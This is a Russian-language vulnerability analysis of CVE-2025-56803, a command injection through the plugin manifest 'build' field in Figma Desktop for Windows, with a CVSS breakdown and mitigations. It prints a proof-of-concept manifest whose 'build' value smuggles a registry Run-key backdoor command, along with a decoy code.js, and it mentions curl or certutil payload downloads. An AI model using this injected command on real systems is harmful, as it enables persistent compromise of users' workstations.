Уязвимость CVE-2025-56803 в Figma Desktop for Windows
Уязвимость CVE-2025-56803 представляет собой критическую проблему безопасности в приложении Figma Desktop для Windows (версия 125.6.5), связанную с внедрением операционных систем команд через механизм плагинов. Уязвимость существует в локальном загрузчике плагинов и позволяет злоумышленнику выполнить произвольные команды на операционной системе пользователя, подменив поле build в файле manifest.json плагина.
Анализ уязвимости
Уровень опасности: 8.4 (ВЫСОКИЙ)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Attack Vector: Local) - Атака требует локального доступа к системе жертвы (например, запуск плагина в приложении).
-
AC:L (Attack Complexity: Low) - Для эксплуатации не требуются сложные условия.
-
PR:N (Privileges Required: None) - Для эксплуатации не требуются какие-либо права аутентификации.
-
UI:N (User Interaction: None) - Эксплуатация не требует взаимодействия с пользователем после запуска плагина.
-
S:U (Scope: Unchanged) - Уязвимость не оказывает влияния на другие компоненты, находящиеся за пределами безопасности уязвимого компонента.
-
C:H (Confidentiality: High) - Существует полное нарушение конфиденциальности; раскрывается вся информация в системе.
-
I:H (Integrity: High) - Существует полное нарушение целостности; злоумышленник может изменить любые файлы.
-
A:H (Availability: High) - Существует полное нарушение доступности; система может быть полностью отключена.
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо выполнение следующих условий:
-
Наличие уязвимой версии приложения: Figma Desktop для Windows версии 125.6.5.
-
Локальный доступ к приложению: Жертва должна установить и запустить вредоносный плагин внутри приложения Figma. Это исключает удаленную эксплуатацию без предварительного взаимодействия с пользователем.
-
Социальная инженерия: Основной вектор атак — это социальная инженерия. Злоумышленник должен убедить жертву скачать архив с плагином из ненадежного источника (например, с GitHub, форума, через фишинг-письмо) и установить его через меню
Plugins > Development > Import plugin from manifest...в Figma. -
Отсутствие санитизации: Код приложения не проводит валидацию или санитизацию данных в поле
buildперед их передачей в функцию выполнения команд.
Важно отметить, что плагины, распространяемые через официальный Figma Community, не подвержены данной атаке, такую сборку проходят только локально импортируемые плагины.
🔒 Закрытый канал на Sponsr.ru
Что доступно в канале:
- Условия эксплуатации уязвимостей — анализ, которого нет в открытых источниках
- Ссылки на эксплоиты для проверки своих систем
- Еженедельная рассылка разборов новых уязвимостей
Технический анализ эксплоита
Рассмотрим код вредоносного плагина для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит не требует написания сложного кода на JavaScript. Вся его суть содержится в файле manifest.json.
manifest.json:
{
"name": "Figma Icons Helper", // Привлекательное, безобидное название
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js", // Основной файл кода может быть пустым или содержать легитимную функциональность для маскировки
"build": "calc.exe && reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Backdoor /t REG_SZ /d C:\\malware.exe /f", // Вредоносная команда
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [ "figma" ],
"networkAccess": {
"allowedDomains": [ "none" ] // Маскировка под плагин, не требующий сетевого доступа
}
}
В данном примере поле build содержит строку "calc.exe && ...". При обработке этого манифеста Figma передает всю строку в Zlt.exec(s.build, ...). Команды интерпретируются оболочкой:
-
calc.exe— запускает калькулятор (демонстрация успешного выполнения). -
&&— оператор оболочки, который выполняет следующую команду только в случае успеха первой. -
reg add ...— пример опасной команды, которая добавляет запись в автозагрузку реестра Windows для постоянного присутствия.
Злоумышленник может заменить команду на любую другую: скачивание и запуск исполняемого файла с удаленного сервера с помощью curl или certutil, выполнение PowerShell-скрипта, кража файлов и т.д.
code.js:
// Этот файл может быть пустым или содержать легитимный код,
// чтобы пользователь не заподозрил неладное при тестировании функциональности плагина.
console.log("Figma Icons Helper loaded successfully!");
// Легитимная работа с документом Figma для маскировки
const nodes = [];
const rect = figma.createRectangle();
// ... остальной код ...
figma.closePlugin();
Основной файл плагина служит лишь для маскировки, чтобы пользователь, запустив плагин и увидев какой-то результат (например, создание фигур), не сразу заподозрил неладное, в то время как вредоносная команда уже выполнилась в фоне.
Возможные последствия успешной эксплуатации
Использование данной уязвимости позволяет злоумышленнику добиться полного контроля над рабочей станцией пользователя с правами того пользователя, под которым запущено приложение Figma.
Методы защиты
Защита от данной уязвимости должна быть многоуровневой.
1. Обновление приложения: Компания Figma уже исправила уязвимость в более новых версиях. Основная и самая эффективная мера — немедленное обновление Figma Desktop до последней версии.
2. Осведомленность пользователей: Обучение пользователей не скачивать и не устанавливать плагины Figma из непроверенных источников. Устанавливать плагины только из официального Figma Community.